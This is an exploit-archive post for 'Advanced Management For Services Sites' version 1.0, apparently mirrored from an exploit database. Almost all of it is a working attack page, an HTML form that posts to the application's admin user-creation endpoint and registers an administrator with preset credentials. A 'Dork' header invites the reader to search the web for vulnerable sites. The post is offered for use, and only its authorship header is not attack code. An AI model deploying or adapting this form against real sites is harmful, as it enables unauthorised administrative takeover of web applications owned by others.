134 lines
No EOL
5.5 KiB
HTML
134 lines
No EOL
5.5 KiB
HTML
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||
Exploit Title : Advneced Management For Services Sites Remote add admin exploit
|
||
Author: alnjm33
|
||
Software Link: http://am4ss.com/am4ss.zip
|
||
Tested on: Version 1.0
|
||
My home : Sec-war.com
|
||
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||
==========================================Dork==========================================
|
||
find it
|
||
================================Exploit=============================================
|
||
<html dir="rtl">
|
||
<head>
|
||
<meta http-equiv="Content-Language" content="en-us">
|
||
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
|
||
<title>sec-war.com</title>
|
||
</head>
|
||
<body text="#00FF00" bgcolor="#000000">
|
||
<form method="post" action="http://localhost/am4ss//admincp//users.php?do=add">
|
||
<p align="center"><b><br>
|
||
login with </b></p>
|
||
<p align="center"><a href="mailto:sec-war@demo.net"><font color="#C0C0C0">
|
||
sec-war@demo.net</font></a></p>
|
||
<p align="center"><b>pass</b></p>
|
||
<p align="center">123456</p>
|
||
<table class="tborder" id="table32" style="BORDER-COLLAPSE: separate" cellSpacing="0" cellPadding="4" width="90%" align="center" border="0">
|
||
<colgroup span="2">
|
||
<col style="WIDTH: 45%"><col style="WIDTH: 55%">
|
||
</colgroup>
|
||
<thead>
|
||
<tr>
|
||
<td class="tcat" align="middle" colSpan="2" height="27"><b>add new admin </b>
|
||
</td>
|
||
</tr>
|
||
</thead>
|
||
<tr vAlign="top">
|
||
<td class="optiontitle" colSpan="2">
|
||
<p align="center"> </td>
|
||
</tr>
|
||
<tbody id="tbody_bbtitle">
|
||
<tr vAlign="top">
|
||
<td class="alt1" width="45%">
|
||
<div class="smallfont">
|
||
<p align="center">Name*</div>
|
||
</td>
|
||
<td class="alt1" width="52%">
|
||
<p align="center">
|
||
<input class="bginput" dir="rtl" tabIndex="1" size="40" name="userfullname" value="Security War">
|
||
</td>
|
||
</tr>
|
||
<tr vAlign="top">
|
||
<td class="optiontitle" colSpan="2">
|
||
<div>
|
||
<p align="center"> </div>
|
||
</td>
|
||
</tr>
|
||
<tbody id="tbody_bbtitle">
|
||
<tr vAlign="top">
|
||
<td class="alt1" width="45%">
|
||
<p align="center">PASS must me*</td>
|
||
<td class="alt1" width="52%">
|
||
<p align="center">
|
||
<input class="bginput" dir="rtl" tabIndex="1" type="password" size="40" name="password" value="123456"><span lang="fr">
|
||
</span></td>
|
||
</tr>
|
||
<tr vAlign="top">
|
||
<td class="optiontitle" colSpan="2">
|
||
<div>
|
||
<p align="center"> </div>
|
||
</td>
|
||
</tr>
|
||
<tbody id="tbody_bbtitle">
|
||
<tr vAlign="top">
|
||
<td class="alt1" width="45%">
|
||
<div class="smallfont">
|
||
<p align="center">username email *</div>
|
||
</td>
|
||
<td class="alt1" width="52%">
|
||
<p align="center">
|
||
<input class="bginput" dir="rtl" tabIndex="1" size="40" name="useremail" value="sec-war@demo.net"><span lang="fr">
|
||
</span></td>
|
||
</tr>
|
||
<tr vAlign="top">
|
||
<td class="optiontitle" colSpan="2">
|
||
</td>
|
||
</tr>
|
||
<tbody id="tbody_bbtitle">
|
||
<tr vAlign="top">
|
||
<td class="alt1" width="45%">
|
||
<div class="smallfont">
|
||
<p align="center"><font face="Tahoma">forget it i made it
|
||
egypt</font></div>
|
||
</td>
|
||
<td class="alt1" width="52%">
|
||
<p align="center">
|
||
<select class="Edits" style="width: 181; height: 53" name="country" size="99" tabindex="10">
|
||
<option value="ET"></option>
|
||
<option>-- --</option>
|
||
<option value="MA"> </option>
|
||
<option value="EG" selected></option>
|
||
</select> <span lang="fr"> </span></td>
|
||
</tr>
|
||
<tr vAlign="top">
|
||
<td class="optiontitle" colSpan="2">
|
||
<div>
|
||
<p align="center"> </div>
|
||
</td>
|
||
</tr>
|
||
<tbody id="tbody_bbtitle">
|
||
<tbody id="tbody_bbtitle">
|
||
<tr vAlign="top">
|
||
<td class="alt1" width="45%">
|
||
<div class="smallfont">
|
||
<p align="center"><font face="Tahoma">forget it i made it
|
||
admin </font></div>
|
||
</td>
|
||
<td class="alt1" width="52%">
|
||
<p align="center">
|
||
<select name="usergroup" size="1" tabindex="1">
|
||
<option value="3"></option>
|
||
<option value="2"></option>
|
||
<option value="1"></option>
|
||
</select> <span lang="fr"> </span></td>
|
||
</tr>
|
||
<tbody id="tbody_bbtitle">
|
||
<tr>
|
||
<td class="tfoot" align="middle" colSpan="2">
|
||
<input class="button" id="submit" type="submit" value="ok add ">
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
<input type="hidden" name="do" value="save">
|
||
</form>
|
||
</body>
|
||
</html> |